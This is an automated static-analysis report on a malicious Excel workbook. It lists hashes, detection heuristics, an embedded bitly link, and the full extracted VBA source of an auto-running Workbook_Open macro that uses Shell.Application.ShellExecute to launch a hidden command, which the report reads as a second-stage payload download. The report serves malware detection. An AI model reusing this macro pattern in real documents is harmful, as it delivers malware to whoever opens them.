Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9068552008ad5e55…

MALICIOUS

Office (OOXML)

14.0 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-23
MD5: 0cd2cf82fce03f0116859f3545a01c25 SHA-1: 863301c9743ffe56a59ae3422abc7d8d5c5adc14 SHA-256: 9068552008ad5e55fe0e5cdc2fd4a0a689171b4f691e5b11c1aafde9c182311c
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing a Workbook_Open VBA macro. This macro uses CreateObject to instantiate a Shell.Application object and then calls ShellExecute to run a command. The command appears to be constructing a payload name from the ControlTipText and Tag properties of an object named 'mm' within a module named 'hehe'. This indicates the macro is designed to download and execute a second-stage payload.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/asdasdqwreresdasdc In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1513 bytes
SHA-256: 9f661eef1ecf7468c9bd0a8247ffc8a138519a0d26df08a7b2e2a296eb5a1903
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet11"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function _
coomon _
()
Set _
coomon _
= _
VBA _
. _
CreateObject("Shell.Application")
End Function


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub _
Workbook_Open _
()
Sheet11.coomon.ShellExecute# hehe.mm.ControlTipText, hehe.mm.Tag


End _
Sub




Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "hehe"
Attribute VB_Base = "0{55635107-02EC-47AB-B84E-FCAAFE5BF664}{655005A9-67D0-48E7-9E33-CC42A6177BA5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub mm_Change()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17920 bytes
SHA-256: 8ae087644199717995c409ed810a482a3b1407f93356ec1d6ba3df4e37b09b04